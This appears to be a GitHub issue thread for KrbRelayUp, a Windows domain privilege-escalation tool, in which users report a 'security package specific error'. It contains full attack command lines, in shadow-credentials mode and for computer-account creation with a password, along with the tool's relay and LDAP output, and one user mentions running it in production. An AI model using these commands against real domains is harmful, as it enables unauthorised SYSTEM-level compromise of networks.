search

Dec0ne / KrbRelayUp

KrbRelayUp - a universal no-fix local privilege escalation in windows domain environments where LDAP signing is not enforced (the default settings).
1.51k stars 202 forks source link

A security package specific error occurred. #24

Open sm00v opened 2 years ago

sm00v commented 2 years ago

KrbRelayUp.exe full -m shadowcred --ForceShadowCred -dc mwdc1.midwest.local -p 2869 -cls 708860E0-F641-4611-8895-7D867DD3675B KrbRelayUp - Relaying you to SYSTEM

[+] Rewriting function table [+] Rewriting PEB [+] Init COM server [+] Register COM server [+] Forcing SYSTEM authentication [+] Got Krb Auth from NT/SYSTEM. Relying to LDAP now... [+] LDAP session established [+] Generating certificate [+] Certificate generated [+] Generating KeyCredential [-] System.ArgumentNullException: Value cannot be null. Parameter name: owner at DSInternals.Common.Validator.AssertNotNullOrEmpty(String value, String paramName) at DSInternals.Common.Data.KeyCredential.Initialize(Byte[] publicKey, Nullable1 deviceId, String owner, Nullable1 currentTime, Boolean isComputerKey) at DSInternals.Common.Data.KeyCredential..ctor(X509Certificate2 certificate, Nullable1 deviceId, String owner, Nullable1 currentTime, Boolean isComputerKey) at KrbRelayUp.Relay.Attacks.Ldap.ShadowCred.attack(IntPtr ld) at KrbRelayUp.Relay.Ldap.Relay() [-] LDAP connection failed System.Runtime.InteropServices.COMException (0x80070721): A security package specific error occurred. (Exception from HRESULT: 0x80070721) at KrbRelayUp.Relay.Ole32.CoGetInstanceFromIStorage(COSERVERINFO pServerInfo, Guid& pclsid, Object pUnkOuter, CLSCTX dwClsCtx, IStorage pstg, UInt32 cmq, MULTI_QI[] rgmqResults) at KrbRelayUp.Relay.Relay.Run()

jsdhasfedssad commented 1 year ago

I get this error too...

krbrelayup1
GalacticMaster commented 1 year ago

I am also facing same error .\KrbRelayUp.exe relay -Domain test.domain.com -CreateNewComputerAccount -Computername test$ -ComputerPassword Password@123!

konghv commented 1 year ago

I am also facing same error. Did Anyone fix that ?

JBalanza commented 10 months ago

Exactly same error here too. I guess no one has any clue about it

Gelzki commented 9 months ago

Does anyone already have a solution for this?

surajpkhetani commented 8 months ago

I get the same error too. Works on my test environment but did not work in prod. Will try to dig into it.